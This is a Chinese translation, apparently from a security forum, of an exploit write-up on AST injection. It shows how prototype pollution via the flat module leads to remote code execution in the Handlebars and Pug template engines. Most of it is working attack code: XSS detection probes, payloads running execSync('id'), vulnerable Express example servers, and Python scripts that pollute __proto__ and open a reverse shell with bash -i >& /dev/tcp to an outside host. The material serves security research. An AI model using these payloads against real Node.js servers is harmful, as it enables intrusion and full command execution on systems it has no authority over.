AST注入
vQAQv WEB安全 5942浏览 · 2021-09-13 07:24

原文 https://blog.p6.is/AST-Injection/

AST 注入, 从原型污染到RCE

本文介绍如何使用一种称为 AST 注入的新技术在两个著名的模板引擎中RCE 。

AST 注入

什么是AST

NodeJS中的AST

在NodeJS中,AST经常被在JS中使用,作为template engines (引擎模版)和typescript等。对于引擎模版,结构如上图所示⬆️。

如果在JS应用中存在原型污染漏洞,任何 AST 都可以通过在Parser(解析器)Compiler(编译器)过程中插入到函数中。

在这里,你可以在没有过滤、没有经过lexer(分析器)parser(解析器)验证的输入(没有被适当的过滤)的情况下插入AST。

然后我们可以向Parser(编译器)非预期的输入。

下面就是展示如何实际中在handlebarspug使用AST注入执行任意命令

Handlebars

截止到编辑文章之时,handlebars的总下载量为998,602,213次。

handlebars是除 ejs 之外最常用的template engine(模板引擎)

如何探测

const Handlebars = require('handlebars');

const source = `Hello {{ msg }}`;
const template = Handlebars.compile(source);

console.log(template({"msg": "posix"})); // Hello posix

在开始之前,这是如何在handlebars使用模板的方法。

Handlebar.compile 函数将字符串转换为模板函数并传递对象因子以供调用。

const Handlebars = require('handlebars');

Object.prototype.pendingContent = `<script>alert(origin)</script>`

const source = `Hello {{ msg }}`;
const template = Handlebars.compile(source);

console.log(template({"msg": "posix"})); // <script>alert(origin)</script>Hello posix

在这里,我们可以使用原型污染来影响编译过程。

你可以插入任意字符串payloadObject.prototype.pendingContent中决定你想要的攻击。

当原型污染存在于黑盒环境中时,这使你可以确认服务器正在使用handlebars引擎。

<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js -->

...
appendContent: function appendContent(content) {
    if (this.pendingContent) {
        content = this.pendingContent + content;
    } else {
        this.pendingLocation = this.source.currentLocation;
    }

    this.pendingContent = content;
},
pushSource: function pushSource(source) {
    if (this.pendingContent) {
        this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation));
        this.pendingContent = undefined;
    }

    if (source) {
        this.source.push(source);
    }
}
...

这是由 javascript-compiler.jsappendContent函数完成(appendContentis this?)。如果存在 pendingContent,则附加到内容并返回。

pushSource使 pendingContent的值为 undefined,防止字符串被多次插入。

Exploit

handlebars的工作原理如上图所示。

在经过lexer(分析器)parser(解析器)生成AST之后,它传递给 compiler.js 这样我们就可以运行带有一些参数的模板函数编译器(template function compiler generated)。

它就会返回像“Hello posix”这样的字符串(当 msg 是 posix 时)。

<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js -->

case 36:
    this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };
    break;

handlebars 中的parser(解析器)通过Number构造函数强制类型为 NumberLiteral的节点的值始终为数字。

然而,在这里你可以使用原型污染去插入一个非数字型的字符串。

<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/base.js -->

function parseWithoutProcessing(input, options) {
  // Just return if an already-compiled AST was passed in.
  if (input.type === 'Program') {
    return input;
  }

  _parser2['default'].yy = yy;

  // Altering the shared object here, but this is ok as parser is a sync operation
  yy.locInfo = function (locInfo) {
    return new yy.SourceLocation(options && options.srcName, locInfo);
  };

  var ast = _parser2['default'].parse(input);

  return ast;
}

function parse(input, options) {
  var ast = parseWithoutProcessing(input, options);
  var strip = new _whitespaceControl2['default'](options);

  return strip.accept(ast);
}

首先来看编译函数,它支持两种输入方式,AST 对象模板字符串

input.typeProgram时,虽然输入值实际上是字符串。Parser 认为它是已经被parser.js 解析过的AST了,然后将其发送给而compiler不做任何处理。

<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js -->

...
accept: function accept(node) {
    /* istanbul ignore next: Sanity code */
    if (!this[node.type]) {
        throw new _exception2['default']('Unknown type: ' + node.type, node);
    }

    this.sourceNode.unshift(node);
    var ret = this[node.type](node);
    this.sourceNode.shift();
    return ret;
},
Program: function Program(program) {
    console.log((new Error).stack)
    this.options.blockParams.unshift(program.blockParams);

    var body = program.body,
        bodyLength = body.length;
    for (var i = 0; i < bodyLength; i++) {
        this.accept(body[i]);
    }

    this.options.blockParams.shift();

    this.isSimple = bodyLength === 1;
    this.blockParams = program.blockParams ? program.blockParams.length : 0;

    return this;
}
...

compiler接收到 AST 对象(AST Object)(实际上是一个字符串)并将其传到 accept方法。

accept方法调用Compilerthis[node.type]

然后获取 ASTbody 属性并将其用于构造函数。

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
    "type": "MustacheStatement",
    "path": 0,
    "params": [{
        "type": "NumberLiteral",
        "value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
    }],
    "loc": {
        "start": 0,
        "end": 0
    }
}];


const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

/*
function (container, depth0, helpers, partials, data) {
    var stack1, lookupProperty = container.lookupProperty || function (parent, propertyName) {
        if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
            return parent[propertyName];
        }
        return undefined
    };

    return ((stack1 = (lookupProperty(helpers, "undefined") || (depth0 && lookupProperty(depth0, "undefined")) || container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}), console.log(process.mainModule.require('child_process').execSync('id').toString()), {
        "name": "undefined",
        "hash": {},
        "data": data,
        "loc": {
            "start": 0,
            "end": 0
        }
    })) != null ? stack1 : "");
}
*/

所以,你可以构造一个像这样的攻击。

如果您已经通过parser,请指定一个无法分配给 NumberLiteral 值的字符串。

但是注入 AST 之后,我们可以将任何代码插入到函数中。

Example

const express = require('express');
const { unflatten } = require('flat');
const bodyParser = require('body-parser');
const Handlebars  = require('handlebars');

const app = express();
app.use(bodyParser.json())

app.get('/', function (req, res) {
    var source = "<h1>It works!</h1>";
    var template = Handlebars.compile(source);
    res.end(template({}));
});

app.post('/vulnerable', function (req, res) {
    let object = unflatten(req.body);
    res.json(object);
});

app.listen(3000);

使用具有原型污染漏洞的flat模块配置一个有漏洞的服务器示例。

flat是一个受欢迎的模块,每周有 461 万次下载

import requestsTARGET_URL = 'http://p6.is:3000'# make pollutionrequests.post(TARGET_URL + '/vulnerable', json = {    "__proto__.type": "Program",    "__proto__.body": [{        "type": "MustacheStatement",        "path": 0,        "params": [{            "type": "NumberLiteral",            "value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"        }],        "loc": {            "start": 0,            "end": 0        }    }]})# executerequests.get(TARGET_URL)

在获取反弹的shell之后,我们可以执行任意系统命令!

pug

截至文章编辑之时,pug的总下载量为 65,827,719 次。

pug是一个先前以jade名称开发并重命名的模块。 据统计,它是 nodejs中第四大最受欢迎的模板引擎

如何探测

const pug = require('pug');const source = `h1= msg`;var fn = pug.compile(source);var html = fn({msg: 'It works'});console.log(html); // <h1>It works</h1>

pug中使用模板的常见方法如上所示。

pug.compile 函数将字符串转换为模板函数并传递对象以供调用。

const pug = require('pug');Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};const source = `h1= msg`;var fn = pug.compile(source, {});var html = fn({msg: 'It works'});console.log(html); // <h1>It works<script>alert(origin)</script></h1>

这是一种利用原型污染在黑盒环境下探测使用pug模板引擎的方法。

当你将 AST 插入Object.prototype.block时,compiler(编译器)通过引用 val 将其添加到缓冲区中。

switch (ast.type) {    case 'NamedBlock':    case 'Block':        ast.nodes = walkAndMergeNodes(ast.nodes);        break;    case 'Case':    case 'Filter':    case 'Mixin':    case 'Tag':    case 'InterpolatedTag':    case 'When':    case 'Code':    case 'While':        if (ast.block) {        ast.block = walkAST(ast.block, before, after, options);        }        break;    ...

ast.typeWhile时,ast.block调用walkASK(如果值不存在,则引用prototype) 如果模板引用参数中的任何值,则While 节点始终存在,因此可靠性被认为是相当高的。

事实上,如果开发人员不会从模板中的参数中引用任何值 。

因为他们一开始并不会使用任何模板引擎。

Exploit

pug工作原理如上图所示。

handlebars不同的是,每个过程都被分成一个单独的模块。

pug-parser 生成的 AST被传递给 pug-code-gen并制成一个函数。最后,它将被执行。

<!-- /node_modules/pug-code-gen/index.js -->if (debug && node.debug !== false && node.type !== 'Block') {    if (node.line) {        var js = ';pug_debug_line = ' + node.line;        if (node.filename)            js += ';pug_debug_filename = ' + stringify(node.filename);        this.buf.push(js + ';');    }}

pug 的compiler(编译器)中,有一个变量存放着名为 pug_debug_line的行号,用于调试。

如果 node.line 值存在,则将其添加到缓冲区,否则传递。

对于使用 pug-parser 生成的 ASTnode.line 值始终指定为整数。

但是,我们可以通过 AST注入node.line 中插入一个非整型的字符串并导致任意代码执行。

const pug = require('pug');Object.prototype.block = {"type": "Text", "line": "console.log(process.mainModule.require('child_process').execSync('id').toString())"};const source = `h1= msg`;var fn = pug.compile(source, {});console.log(fn.toString());/*function template(locals) {    var pug_html = "",        pug_mixins = {},        pug_interp;    var pug_debug_filename, pug_debug_line;    try {;        var locals_for_with = (locals || {});        (function (console, msg, process) {;            pug_debug_line = 1;            pug_html = pug_html + "\u003Ch1\u003E";;            pug_debug_line = 1;            pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp));;            pug_debug_line = console.log(process.mainModule.require('child_process').execSync('id').toString());            pug_html = pug_html + "ndefine\u003C\u002Fh1\u003E";        }.call(this, "console" in locals_for_with ?            locals_for_with.console :            typeof console !== 'undefined' ? console : undefined, "msg" in locals_for_with ?            locals_for_with.msg :            typeof msg !== 'undefined' ? msg : undefined, "process" in locals_for_with ?            locals_for_with.process :            typeof process !== 'undefined' ? process : undefined));;    } catch (err) {        pug.rethrow(err, pug_debug_filename, pug_debug_line);    };    return pug_html;}*/

生成函数的示例。

你可以看到 Object.prototype.line值插入在 pug_debug_line 定义的右侧。

const pug = require('pug');Object.prototype.block = {"type": "Text", "line": "console.log(process.mainModule.require('child_process').execSync('id').toString())"};const source = `h1= msg`;var fn = pug.compile(source);var html = fn({msg: 'It works'});console.log(html); // "uid=0(root) gid=0(root) groups=0(root)\n\n<h1>It worksndefine</h1>"

所以,你可以构造一个像这样的攻击。

通过在 node.line值中指定一个字符串,它总是通过解析器定义为数字。

所以,任何命令都可以插入到函数中。

Example

const express = require('express');const { unflatten } = require('flat');const pug = require('pug');const app = express();app.use(require('body-parser').json())app.get('/', function (req, res) {    const template = pug.compile(`h1= msg`);    res.end(template({msg: 'It works'}));});app.post('/vulnerable', function (req, res) {    let object = unflatten(req.body);    res.json(object);}); app.listen(3000);

handlebars的例子中,flat 用于配置服务器。 模板引擎已改为 pug

import requestsTARGET_URL = 'http://p6.is:3000'# make pollutionrequests.post(TARGET_URL + '/vulnerable', json = {    "__proto__.block": {        "type": "Text",         "line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"    }})# executerequests.get(TARGET_URL)

我们可以在 block.line中插入任何代码,并获得一个 反弹shell。

结论

我描述了如何执行任意命令, 通过JS 模板引擎上的AST 注入

事实上,这些部分很难完全修复 所以我希望这会像EJS一样。

0 条评论
某人
表情
可输入 255